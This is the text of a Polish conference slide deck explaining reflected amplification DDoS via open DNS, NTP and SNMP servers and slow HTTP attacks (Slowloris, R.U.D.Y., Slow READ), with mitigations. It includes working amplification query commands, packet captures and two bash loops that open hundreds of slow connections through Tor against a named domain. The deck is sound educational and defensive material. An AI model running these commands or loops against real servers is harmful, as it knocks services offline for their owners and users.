Rentgen współczesnych ataków DoS Marcin Ulikowski Network Engineer, Atos IT Services marcin.ulikowski@atos.net marcin@ulikowski.pl
Distributed Reflected Denial of Service Ataki wolumetryczne (odbite wzmocnione) 2
3
www.digitalattackmap.com 4
Brak weryfikacji adresu źródłowego (IP spoofing) Protokół bezpołączeniowy UDP jako transport Popularna i dostępna usługa Brak autoryzacji na poziomie aplikacji Zapytanie Odpowiedź 5
Otwarte serwery DNS 6
Rozszerzenie EDNS0 Odpowiedzi >512B dig. ANY @37.148.165.228 +edns=0 +bufsize=4096 Open DNS resolver (2014-05-08) Maksymalny akceptowalny rozmiar odpowiedzi 7
IP (tos 0x0, ttl 64, id 5550, offset 0, flags [none], proto UDP (17), length 56) 1.1.1.1.37344 > 2.2.2.2.53: 1794+ [1au] ANY?. (28) IP (tos 0x40, ttl 61, id 58532, offset 0, flags [+], proto UDP (17), length 1500) 2.2.2.2.53 > 1.1.1.1.37344: 1794 21/13/22. RRSIG,. SOA a.root-servers.net. nstld.verisign-grs.com. 2014041301 1800 900 604800 86400,. RRSIG,. NS d.rootservers.net.,. NS l.root-servers.net.,. NS b.root-servers.net.,. NS k.rootservers.net.,. NS g.root-servers.net.,. NS a.root-servers.net.,. NS j.rootservers.net.,. NS h.root-servers.net.,. NS e.root-servers.net.,. NS f.rootservers.net.,. NS m.root-servers.net.,. NS c.root-servers.net.,. NS i.rootservers.net.,. RRSIG,. NSEC,. RRSIG,. DNSKEY,. DNSKEY[ domain] IP (tos 0x40, ttl 61, id 58532, offset 1480, flags [none], proto UDP (17), length 651) 2.2.2.2 > 1.1.1.1: ip-proto-17 1500 + 651 56 38 8
$ dig plugawyszuwarek.pl NAPTR +short +notcp +edns=0 +bufsize=4096 sort 100 10 "" ".-. " "". 110 10 "" " ( ) " "". 120 10 "" " '-' " "". 130 10 "" " J L " "". 140 10 "" " " "". 150 10 "" " J L " "". 160 10 "" " " "". 170 10 "" " J L " "". 180 10 "" ".-'..'-. " "". 190 10 "" " / " "". 200 10 "" " _.-''' `bmw._ " "". 210 10 "" ".' `. " "". 220 10 "" " J `. " "". 230 10 "" " F L " "". 240 10 "" " J J " "". 250 10 "" " J ` " "". 260 10 "" " L " "". 270 10 "" " " "". 280 10 "" " " "". 290 10 "" " J " "". 300 10 "" " L " "". 310 10 "" " " "". 320 10 "" ",....--._ " "". 330 10 "" ",' `''''''''' `-._ " "". 340 10 "" " J `-. " "". 350 10 "" " F.-' `-88888-' `Y8888b.`. " "". 360 10 "" ".' `P' `88888b " "". 370 10 "" " J # L # q8888b L " "". 380 10 "" " )8888D ) " "". 390 10 "" " J J d8888p P " "". 400 10 "" " L `..b.,88888p / " "". 410 10 "" " `. `-.,o88888o.,o88888p'.' " "". 420 10 "" " `-...-' " "". 430 10 "" " " "". 440 10 "" ".-----... J " "". 450 10 "" ".' " "". 460 10 "" " J--- -----..... " "". 470 10 "" " " "". 480 10 "" " Y--- -----..... " "". 490 10 "" " `. " "". 500 10 "" " `'-------:....J " "". 510 10 "" " " "". 520 10 "" " L " "". 530 10 "" " ''-----......--' " "". 9
4034 75 54 IN ANY plugawyszuwarek.pl? 10
11 Źródło: Open Resolver Project
1 Mbps 190.0.0.0/8 (16.777.214) <ROOT> IN ANY? EDNS0 3:00h 158804 ~31.000 Spamhaus DDoS < 512 24% rekursywnych odpowiedzi EDNS0 76% 12
Otwarte serwery NTP 13
ntpdc -c monlist 1.2.3.4 Diagnostyczna komenda protokołu NTP służąca do pobrania listy do 600 ostatnich hostów z którymi łączył się serwer czasu. 14
$ ntpdc -n -c monlist 10.186.13.252 remote address port local address count m ver rstr avgint lstint =============================================================================== 10.11.151.23 123 10.186.13.252 41 3 4 0 4 1 10.67.82.111 123 10.186.13.252 91 4 4 0 81 44 10.41.151.23 123 10.186.13.252 11 3 4 0 7 3 10.76.182.121 123 10.186.13.252 351 4 4 0 8 4 10.22.51.231 123 10.186.13.252 49 3 4 0 4 1 10.99.2.110 123 10.186.13.252 51 4 4 0 181 31 10.11.151.23 123 10.186.13.252 41 3 4 0 4 1 10.67.82.111 123 10.186.13.252 51 4 4 0 81 44 10.41.151.23 123 10.186.13.252 11 3 4 0 7 3 10.76.182.121 123 10.186.13.252 31 4 4 0 8 4 10.22.51.231 123 10.186.13.252 49 3 4 0 4 1 10.99.2.110 123 10.186.13.252 51 4 4 0 11 31 10.11.151.23 123 10.186.13.252 41 3 4 0 4 1 10.67.82.111 123 10.186.13.252 151 4 4 0 81 44 10.41.151.23 123 10.186.13.252 11 3 4 0 7 3 10.22.51.231 123 10.186.13.252 49 3 4 0 4 1 10.99.2.110 123 10.186.13.252 51 4 4 0 11 31 10.11.151.23 123 10.186.13.252 41 3 4 0 4 1 10.67.82.111 123 10.186.13.252 251 4 4 0 81 44 10.41.151.23 123 10.186.13.252 11 3 4 0 7 3 10.22.51.231 123 10.186.13.252 49 3 4 0 4 1 10.22.51.21 123 10.186.13.252 9 3 4 0 4 2 10.2.1.23 123 10.186.13.252 3 3 4 0 5 1 10.99.2.110 123 10.186.13.252 41 4 4 0 11 31 15
18:05:18.265444 IP 1.1.1.1.80 > 2.2.2.2.123: NTPv2, Reserved, length 192 18:05:18.265679 IP 2.2.2.2.123 > 1.1.1.1.80: NTPv2, Reserved, length 440 18:05:18.265684 IP 2.2.2.2.123 > 1.1.1.1.80: NTPv2, Reserved, length 440 18:05:18.265686 IP 2.2.2.2.123 > 1.1.1.1.80: NTPv2, Reserved, length 440 18:05:18.265688 IP 2.2.2.2.123 > 1.1.1.1.80: NTPv2, Reserved, length 440 18:05:18.265690 IP 2.2.2.2.123 > 1.1.1.1.80: NTPv2, Reserved, length 440 18:05:18.265692 IP 2.2.2.2.123 > 1.1.1.1.80: NTPv2, Reserved, length 440 18:05:18.265929 IP 2.2.2.2.123 > 1.1.1.1.80: NTPv2, Reserved, length 440 18:05:18.265935 IP 2.2.2.2.123 > 1.1.1.1.80: NTPv2, Reserved, length 440 18:05:18.265939 IP 2.2.2.2.123 > 1.1.1.1.80: NTPv2, Reserved, length 440 18:05:18.265944 IP 2.2.2.2.123 > 1.1.1.1.80: NTPv2, Reserved, length 440 18:05:18.265947 IP 2.2.2.2.123 > 1.1.1.1.80: NTPv2, Reserved, length 440 18:05:18.265949 IP 2.2.2.2.123 > 1.1.1.1.80: NTPv2, Reserved, length 440 18:05:18.266181 IP 2.2.2.2.123 > 1.1.1.1.80: NTPv2, Reserved, length 440 18:05:18.266187 IP 2.2.2.2.123 > 1.1.1.1.80: NTPv2, Reserved, length 440 18:05:18.266190 IP 2.2.2.2.123 > 1.1.1.1.80: NTPv2, Reserved, length 440 18:05:18.266192 IP 2.2.2.2.123 > 1.1.1.1.80: NTPv2, Reserved, length 440 18:05:18.266194 IP 2.2.2.2.123 > 1.1.1.1.80: NTPv2, Reserved, length 440 18:05:18.266197 IP 2.2.2.2.123 > 1.1.1.1.80: NTPv2, Reserved, length 440 18:05:18.266428 IP 2.2.2.2.123 > 1.1.1.1.80: NTPv2, Reserved, length 440 18:05:18.266433 IP 2.2.2.2.123 > 1.1.1.1.80: NTPv2, Reserved, length 440 18:05:18.266435 IP 2.2.2.2.123 > 1.1.1.1.80: NTPv2, Reserved, length 440 18:05:18.266437 IP 2.2.2.2.123 > 1.1.1.1.80: NTPv2, Reserved, length 440 18:05:18.266439 IP 2.2.2.2.123 > 1.1.1.1.80: NTPv2, Reserved, length 440 18:05:18.266442 IP 2.2.2.2.123 > 1.1.1.1.80: NTPv2, Reserved, length 440 18:05:18.266677 IP 2.2.2.2.123 > 1.1.1.1.80: NTPv2, Reserved, length 440 18:05:18.266682 IP 2.2.2.2.123 > 1.1.1.1.80: NTPv2, Reserved, length 440 18:05:18.266685 IP 2.2.2.2.123 > 1.1.1.1.80: NTPv2, Reserved, length 440 18:05:18.266687 IP 2.2.2.2.123 > 1.1.1.1.80: NTPv2, Reserved, length 440 16
IP + UDP + NTP 440B (6 hostów) Max liczba pakietów 468 100 220 212 Standardowa długość zapytania MON_GETLIST (payload NTP 192B) 17
18
468 100 36 1300 IP 20B + UDP 8B + NTP 192B 8B 19
1 Mbps 57 prefiksów OVH 8B NTP MON_GETLIST 0:15h 1964 serwerów NTP 979 wspiera MON_GETLIST 20
Publiczne serwery SNMP 21
Ilość obiektów do pobrania Object ID snmpbulkget -Cr 2000 -c public 1.2.3.4 iso.3.6.1.2 Dostępne dla SNMPv2 i SNMPv3 community string 22
$ snmpbulkget Cr3000 -v2c public 2.2.2.2 iso.3.6.1.2 iso.3.6.1.2.1.1.1.0 = STRING: "Hardware: x86 Family 15 Model 79 Stepping 2 AT/AT COMPATIBLE - Software: Windows 2000 Version 5.1 (Build 2600 Uniprocessor Free)" iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.311.1.1.3.1.1 iso.3.6.1.2.1.1.3.0 = Timeticks: (22452562) 2 days, 14:22:05.62 iso.3.6.1.2.1.1.4.0 = "" iso.3.6.1.2.1.1.5.0 = STRING: "MICROSOF-D48508" iso.3.6.1.2.1.1.6.0 = "" iso.3.6.1.2.1.1.7.0 = INTEGER: 76 iso.3.6.1.2.1.2.1.0 = INTEGER: 2 iso.3.6.1.2.1.2.2.1.1.1 = INTEGER: 1 iso.3.6.1.2.1.2.2.1.1.2 = INTEGER: 2 iso.3.6.1.2.1.2.2.1.2.1 = Hex-STRING: 4D 53 20 54 43 50 20 4C 6F 6F 70 62 61 63 6B 20 69 6E 74 65 72 66 61 63 65 00 iso.3.6.1.2.1.2.2.1.2.2 = Hex-STRING: 41 74 68 65 72 6F 73 20 4C 31 20 47 69 67 61 62 69 74 20 45 74 68 65 72 6E 65 74 20 31 30 2F 31 30 30 2F 31 30 30 30 42 61 73 65 2D 54 20 43 6F 6E 74 72 6F 6C 6C 65 72 20 2D 20 CC E8 ED E8 EF EE F0 F2 20 EF EB E0 ED E8 F0 EE E2 F9 E8 EA E0 20 EF E0 EA E5 F2 EE E2 00 iso.3.6.1.2.1.2.2.1.3.1 = INTEGER: 24 iso.3.6.1.2.1.2.2.1.3.2 = INTEGER: 6 iso.3.6.1.2.1.2.2.1.4.1 = INTEGER: 1520 iso.3.6.1.2.1.2.2.1.4.2 = INTEGER: 1500 iso.3.6.1.2.1.2.2.1.5.1 = Gauge32: 10000000 iso.3.6.1.2.1.2.2.1.5.2 = Gauge32: 100000000 iso.3.6.1.2.1.2.2.1.6.1 = "" iso.3.6.1.2.1.2.2.1.6.2 = Hex-STRING: 00 1A 92 05 FC FC iso.3.6.1.2.1.2.2.1.7.1 = INTEGER: 1 iso.3.6.1.2.1.2.2.1.7.2 = INTEGER: 1 iso.3.6.1.2.1.2.2.1.8.1 = INTEGER: 1 iso.3.6.1.2.1.2.2.1.8.2 = INTEGER: 1 iso.3.6.1.2.1.2.2.1.9.1 = Timeticks: (0) 0:00:00.00 (... ) iso.3.6.1.4.1.311.1.9 = No more variables left in this MIB View (It is past the end of the MIB tree) 23
IP (tos 0x0, ttl 64, id 58102, offset 0, flags [DF], proto UDP (17), length 68) 1.1.1.1.54507 > 2.2.2.2.161: { SNMPv2c { GetBulk(25) R=1259027462 N=0 M=3000.1.3.6.1.2 } } IP (tos 0x0, ttl 122, id 60908, offset 0, flags [+], proto UDP (17), length 1500) 2.2.2.2.161 > 1.1.1.1.54507: [len1468<asnlen61313] IP (tos 0x0, ttl 122, id 60908, offset 1480, flags [+], proto UDP (17), length 1500) 2.2.2.2 > 1.1.1.1: ip-proto-17 IP (tos 0x0, ttl 122, id 60908, offset 2960, flags [+], proto UDP (17), length 1500) 2.2.2.2 > 1.1.1.1: ip-proto-17 IP (tos 0x0, ttl 122, id 60908, offset 4440, flags [+], proto UDP (17), length 1500) 2.2.2.2 > 1.1.1.1: ip-proto-17 IP (tos 0x0, ttl 122, id 60908, offset 5920, flags [+], proto UDP (17), length 1500) 2.2.2.2 > 1.1.1.1: ip-proto-17 IP (tos 0x0, ttl 122, id 60908, offset 7400, flags [+], proto UDP (17), length 1500) 2.2.2.2 > 1.1.1.1: ip-proto-17 IP (tos 0x0, ttl 122, id 60908, offset 8880, flags [+], proto UDP (17), length 1500) 2.2.2.2 > 1.1.1.1: ip-proto-17 IP (tos 0x0, ttl 122, id 60908, offset 10360, flags [+], proto UDP (17), length 1500) 2.2.2.2 > 1.1.1.1: ip-proto-17 IP (tos 0x0, ttl 122, id 60908, offset 11840, flags [+], proto UDP (17), length 1500) 2.2.2.2 > 1.1.1.1: ip-proto-17 IP (tos 0x0, ttl 122, id 60908, offset 13320, flags [+], proto UDP (17), length 1500) 2.2.2.2 > 1.1.1.1: ip-proto-17 IP (tos 0x0, ttl 122, id 60908, offset 14800, flags [+], proto UDP (17), length 1500) 2.2.2.2 > 1.1.1.1: ip-proto-17 IP (tos 0x0, ttl 122, id 60908, offset 16280, flags [+], proto UDP (17), length 1500) 2.2.2.2 > 1.1.1.1: ip-proto-17 IP (tos 0x0, ttl 122, id 60908, offset 17760, flags [+], proto UDP (17), length 1500) 2.2.2.2 > 1.1.1.1: ip-proto-17 IP (tos 0x0, ttl 122, id 60908, offset 19240, flags [+], proto UDP (17), length 1500) 2.2.2.2 > 1.1.1.1: ip-proto-17 IP (tos 0x0, ttl 122, id 60908, offset 20720, flags [+], proto UDP (17), length 1500) 2.2.2.2 > 1.1.1.1: ip-proto-17 IP (tos 0x0, ttl 122, id 60908, offset 22200, flags [+], proto UDP (17), length 1500) 2.2.2.2 > 1.1.1.1: ip-proto-17 IP (tos 0x0, ttl 122, id 60908, offset 23680, flags [+], proto UDP (17), length 1500) 2.2.2.2 > 1.1.1.1: ip-proto-17 IP (tos 0x0, ttl 122, id 60908, offset 25160, flags [+], proto UDP (17), length 1500) 2.2.2.2 > 1.1.1.1: ip-proto-17 IP (tos 0x0, ttl 122, id 60908, offset 26640, flags [+], proto UDP (17), length 1500) 2.2.2.2 > 1.1.1.1: ip-proto-17 IP (tos 0x0, ttl 122, id 60908, offset 28120, flags [+], proto UDP (17), length 1500) 2.2.2.2 > 1.1.1.1: ip-proto-17 IP (tos 0x0, ttl 122, id 60908, offset 29600, flags [+], proto UDP (17), length 1500) 2.2.2.2 > 1.1.1.1: ip-proto-17 IP (tos 0x0, ttl 122, id 60908, offset 31080, flags [+], proto UDP (17), length 1500) 2.2.2.2 > 1.1.1.1: ip-proto-17 IP (tos 0x0, ttl 122, id 60908, offset 32560, flags [+], proto UDP (17), length 1500) 2.2.2.2 > 1.1.1.1: ip-proto-17 IP (tos 0x0, ttl 122, id 60908, offset 34040, flags [+], proto UDP (17), length 1500) 2.2.2.2 > 1.1.1.1: ip-proto-17 IP (tos 0x0, ttl 122, id 60908, offset 35520, flags [+], proto UDP (17), length 1500) 2.2.2.2 > 1.1.1.1: ip-proto-17 IP (tos 0x0, ttl 122, id 60908, offset 37000, flags [+], proto UDP (17), length 1500) 2.2.2.2 > 1.1.1.1: ip-proto-17 IP (tos 0x0, ttl 122, id 60908, offset 38480, flags [+], proto UDP (17), length 1500) 2.2.2.2 > 1.1.1.1: ip-proto-17 IP (tos 0x0, ttl 122, id 60908, offset 39960, flags [+], proto UDP (17), length 1500) 2.2.2.2 > 1.1.1.1: ip-proto-17 IP (tos 0x0, ttl 122, id 60908, offset 41440, flags [+], proto UDP (17), length 1500) 2.2.2.2 > 1.1.1.1: ip-proto-17 IP (tos 0x0, ttl 122, id 60908, offset 42920, flags [+], proto UDP (17), length 1500) 2.2.2.2 > 1.1.1.1: ip-proto-17 IP (tos 0x0, ttl 122, id 60908, offset 44400, flags [+], proto UDP (17), length 1500) 2.2.2.2 > 1.1.1.1: ip-proto-17 IP (tos 0x0, ttl 122, id 60908, offset 45880, flags [+], proto UDP (17), length 1500) 2.2.2.2 > 1.1.1.1: ip-proto-17 IP (tos 0x0, ttl 122, id 60908, offset 47360, flags [+], proto UDP (17), length 1500) 2.2.2.2 > 1.1.1.1: ip-proto-17 IP (tos 0x0, ttl 122, id 60908, offset 48840, flags [+], proto UDP (17), length 1500) 2.2.2.2 > 1.1.1.1: ip-proto-17 IP (tos 0x0, ttl 122, id 60908, offset 50320, flags [+], proto UDP (17), length 1500) 2.2.2.2 > 1.1.1.1: ip-proto-17 IP (tos 0x0, ttl 122, id 60908, offset 51800, flags [+], proto UDP (17), length 1500) 2.2.2.2 > 1.1.1.1: ip-proto-17 IP (tos 0x0, ttl 122, id 60908, offset 53280, flags [+], proto UDP (17), length 1500) 2.2.2.2 > 1.1.1.1: ip-proto-17 IP (tos 0x0, ttl 122, id 60908, offset 54760, flags [+], proto UDP (17), length 1500) 2.2.2.2 > 1.1.1.1: ip-proto-17 IP (tos 0x0, ttl 122, id 60908, offset 56240, flags [+], proto UDP (17), length 1500) 2.2.2.2 > 1.1.1.1: ip-proto-17 IP (tos 0x0, ttl 122, id 60908, offset 57720, flags [+], proto UDP (17), length 1500) 2.2.2.2 > 1.1.1.1: ip-proto-17 IP (tos 0x0, ttl 122, id 60908, offset 59200, flags [+], proto UDP (17), length 1500) 2.2.2.2 > 1.1.1.1: ip-proto-17 IP (tos 0x0, ttl 122, id 60908, offset 60680, flags [none], proto UDP (17), length 665) 2.2.2.2 > 1.1.1.1: ip-proto-17 24
41 1500 + 665 68 914 25
1 Mbps 37.0.0.0/8 snmpbulkget v2c c public 3:00h 13217 serwerów SNMP Średnia długość odpowiedzi: 1542 1542 68 23 26
Wyłącz zbędne usługi Schowaj się za kimś większym (CDN) Filtrowanie ruchu (BCP-38) Rozproszone usługi Dobre relacje z ISP 27
Slow HTTP Denial of Service Ataki na warstwę aplikacji 28
Bardzo łatwe do przeprowadzenia Trudne do wykrycia przez systemy IDS Nie wymagają dużej przepustowości łącza Nie wymagają botnet-u Możliwe do ukrycia (Tor) 29
30
Slowloris 31
$ nc plugawyszuwarek.pl 80 GET / HTTP/1.1 Host: plugawyszuwarek.pl Connection: keep-alive Accept-Charset: utf8 Accept-language: pl, en-us User-Agent: netcat Brak pustego wiersza HTTP/1.1 408 Request Time-Out 32
Liczba połączeń wątków HTTP Nagłówek HTTP for i in `seq 300`; do ( echo -e "GET / HTTP/1.1\nHost: plugawyszuwarek.pl" nc -X 5 -x 127.0.0.1:9050 plugawyszuwarek.pl 80 -q 300 & ) ; done Tor proxy Czas trwania sesji TCP Autor nie ponosi odpowiedzialności za niezgodne z prawem wykorzystanie powyższego kodu oraz za wszelkiego rodzaju szkody wyrządzone z jego użyciem. 33
R.U.D.Y (R U Dead Yet?) 34
$ nc plugawyszuwarek.pl 80 POST / HTTP/1.1 Host: plugawyszuwarek.pl Content-length: 100000000 \r\n 1=1& 2=2& 3=3& 4=4& 5=5& 35
for i in `seq 300`; do ( ( echo -e "POST / HTTP/1.1\nHost: plugawyszuwarek.pl\ncontent-length: 100000\n\n"; for j in `seq 600`; do echo $j=$j\&; sleep 5; done ) nc -X 5 -x 127.0.0.1:9050 plugawyszuwarek.pl 80 & ); done Autor nie ponosi odpowiedzialności za niezgodne z prawem wykorzystanie powyższego kodu oraz za wszelkiego rodzaju szkody wyrządzone z jego użyciem. 36
Slow HTTP READ 37
38
Po otrzymaniu segmentu, okno TCP odbiorcy - czyli atakującego - jest pełne Rozmiar obiektu większy niż bufor nadawczy serwera Atakujący ustawia rozmiar okna TCP na 0 Serwer stara się podtrzymać sesję TCP 39
Czekaj na nagłówek (oraz SSL handshake) do 20s. Jeśli klient przesyła nagłówki z prędkością min. 500B/s czekaj kolejne 20s. <IfModule mod_reqtimeout.c> RequestReadTimeout header=20-40,minrate=500 body=20,minrate=500 </IfModule> Czekaj na dane do 20s. Nie przerywaj połączenia, jeśli klient dosyła dane z prędkością min. 500B/s. 40
41